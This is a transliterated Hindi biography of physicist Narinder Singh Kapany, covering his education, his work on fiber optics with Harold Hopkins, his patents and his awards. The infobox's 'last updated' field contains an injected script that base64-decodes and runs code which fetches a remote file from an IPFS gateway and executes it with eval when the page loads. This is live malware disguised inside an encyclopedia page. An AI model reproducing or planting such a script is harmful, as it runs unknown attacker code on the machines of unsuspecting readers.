नरिंदर सिंह कपानी
nariandar sianh kapani
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| poora nam | nariandar sianh kapani |
| janm | 31 aktoobar, 1926 |
| janm bhoomi | moga, panjab, avibhajit bharat |
| mrityu | 4 disambar, 2020 |
| mrityu sthan | kailiphorniya |
| karm-kshetr | bhautik vijnan |
| vidyalay | agara vishvavidyalay, uttar pradesh impiriyal k aaulej, landan |
| puraskar-upadhi | padm vibhooshan (2021) pravasi bharatiy samman |
| prasiddhi | faibar aauptiks par ullekhaniy anusandhan |
| nagarikata | bharatiy, amerikan |
| any janakari | nariandar sianh kapani hi vah vyakti the, jinhoanne 'phaibar aauptiks' vakyaansh gadha tha. unhean 'phaibar aauptiks ke janak' ke roop mean jana jata hai. |
| adyatan | 12:10, 1 march 2022 (IST) <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
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nariandar sianh kapani (aangrezi: Narinder Singh Kapany, janm- 31 aktoobar, 1926; mrityu- 4 disambar, 2020) bharatiy mool ke ameriki bhautik vijnani haian jo phaibar aauptiks mean apane kam ke lie jane jate haian. ph aaurchyoon dvara unake ‘seanchuriz ishoo’ ke vyapariyoan (1999) mean sat 'anasang hiroj' mean se ek ke roop mean unhean namit kiya gaya tha. unhean 'phaibar aauptiks ke pita' ke roop mean bhi jana jata hai. phaibar aauptiks shabd 1956 mean nariandar sianh kapani kapani dvara gadha gaya tha. vah ek poorv aeeoefes adhikari haian. bharatiy ayudh karakhanoan seva, bharat sarakar ki ek sivil seva hai. aeeoefes adhikari rajapatrit raksha-nagarik adhikari haian jo raksha mantralay ke adhin hote haian. ve bharatiy ayudh karakhanoan ke prabandhan ke lie jimmedar haian, jo bharat ki raksha utpadan kshamataoan ko pradan karate haian.[1]
parichay
bharat mean janme aur ianglaiand mean shikshit d aau. nariandar sianh kapani paiantalis varshoan tak sanyukt rajy amerika mean rahe haian. bharat mean agara vishvavidyalay se snatak kiya hai. unhoanne ianpiriyal k aaulej aauph saians eand teknol aauji, landan mean prakashiki mean unnat adhyayan poora kiya aur piech.di. 1955 mean landan vishvavidyalay se poorn kiya. unake kariyar ne vijnan, udyamita aur prabandhan, shiksha, prakashan, vyakhyan aur kheti ko badhava diya hai. unake vyaktigat hitoan mean paropakar, kala sangrah aur moortikala shamil haian.
d aau. kapani apani patni satiandar ke sath be eriya mean rahate haian. unake bete, rajiandar ek haee-tek karyakari adhikari haian aur unaki beti kiren ek vakil aur philm nirmata hai.
kॅriyar
ianpiriyal k aaulej mean, kapani ne phaibar ke madhyam se sancharan par herold h aaupakins ke sath kam kiya. 1953 mean pahali bar aauptikal phaibar ke ek b de bandal ke madhyam se achchhi chhavi sancharan prapt kiya. aauptikal phaibar ko pahale imej traansamishan ke lie azamaya gaya tha, lekin h aaupakians aur kapani ki takanik ne pahale se hasil ki jane vali chhavi ki gunavatta ko behatar banane ki anumati di. yah, dach vaijnanik braim vain hil dvara aauptikal klaidiang ke lagabhag ek sath vikas ke sath milakar, phaibar aauptiks ke ne kshetr ki shuruat ki. kapani ne 1960 mean saiantiphik amerikan ke ek lekh mean ‘phaibar aauptiks’ shabd gadha tha, jisamean ne kshetr ke bare mean pahali pustak likhi thi. ve is ne kshetr ke sabase pramukh shodhakarta, lekhak aur pravakta the.[1]
kapani ke shodh aur avishkaroan mean phaibar-aauptiks sanchar, lejar, bayomedikal ianstroomeanteshan, saur oorja aur pradooshan nigarani shamil haian. unake pas sau se adhik peteant haian aur neshanal inveantars kauansil ke sadasy the. unhoanne 1998 mean yooese pain-eshiyan amerikan chaianbar aauph k aaumars se “d eksileans 2000 avard” sahit kee puraskar prapt kie haian. vah british r aauyal ekedami aauph ianjiniyariang aauptikal, amerika ki sosayati, aur amerikan esosieshan ph aaur d edavaansameant aauph saians sahit kee vaijnanik sanstha ke ek aantarrashtriy sathi haian.
phaibar aauptiks ke janak
d aau. nariandar sianh uttar bharat ke deharadoon mean pale-badhe. vahaan ek skooli bachche ko ek shikshak ne daanta ki prakash keval ek sidhi rekha mean yatra kar sakata hai. nariandar sianh ne asahamati jataee aur yathasthiti ko galat sabit kiya. unake jivan ke kam ka parinam phaibar aauptiks ke nirman ka karan tha. nariandar sianh kahate haian, "konoan ke charoan or prakash ko mo dana mera junoon ban gaya." unhoanne prakash ki kiranoan ko sthanaantarit karane ke lie panktibaddh prijmoan ki ek shrriankhala ka upayog karana shuroo kar diya. lekin prakash ne abhi bhi prijmoan ke bich ek sidhi rekha mean yatra ki. nariandar sianh age kahate haian, "isake bajay mujhe belanakar jyamiti ka upayog karane ke bare mean soch mili."
julaee 1952 mean, herold h aaupakians aur nariandar sianh ne ianglaiand ki r aauyal sosayati ke anudan ke tahat eandoskop ke roop mean upayog ke lie kaanch ke phaibar ke bandaloan ko vikasit karana shuroo kiya. yah spasht ho gaya ki unaki tim dvara kie ge atyadhunik anusandhan ko vaijnanik kshetr se vyapak samman aur badhaee dena nishchit tha. durbhagy se, agale vasant h aaupakians ne phaibar bandaloan ke phritz zarniki ko bataya ki vah aur sianh vikasit ho rahe the, aur badale mean, zarnik ne vain hil namak ek any shodhakarta ko bataya. shrey churane ke lie, vain hile ne prakashan shuroo kiya aur 1953 ke joon tak nechar patrika ko klaid phaibar ke bare mean ek sankshipt patr prastut karane mean kamayab rahe.[1]
parinamasvaroop, janavari 1954 mean h aaupakians, vain hil, aur sianh ne nechar mean pratispardhatmak patr prakashit kie. vain hil ne klaid phaibar ke saral bandaloan par soochana di, jabaki h aaupakians aur sianh ne asvachchh tantuoan ke bandaloan ka varnan kiya jo saphalatapoorvak chhaviyoan ko prasarit kar sakate the. is ghatana ke bad, sianh rochestar vishvavidyalay chale ge.
san 1956 mean nariandar sianh ne glas-lepit r aaud ke apane ne avishkar par kam poora kiya. is vishesh chh di ne pichhali vaijnanikoan ko badhit karane vali sabase b di samasya ko samapt kar diya. yah paryavaraniy badhaoan se prakash ki kiran ko bachane ke lie ek sadhan pradan karata hai. nariandar sianh hi vah the jinhoanne ‘phaibar aauptiks’ vakyaansh gadha tha, aur unhean “phaibar aauptiks ke janak” ke roop mean jana jata hai. tab se nariandar sianh ke age ke anusandhan aur avishkaroan ne phaibar-aauptik sanchar, lejar, bayomedikal ianstroomeanteshan, saur oorja aur pradooshan nigarani ke kshetroan ko ne staroan tak le jaya hai. unhoanne char pustakean bhi prakashit ki haian.[1]
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tika tippani aur sandarbh
- ↑ 1.0 1.1 1.2 1.3 nariandar sianh kapani ka jivan parichay (hiandi) dilsedeshi.com. abhigaman tithi: 28 pharavari, 2022.
sanbandhit lekh
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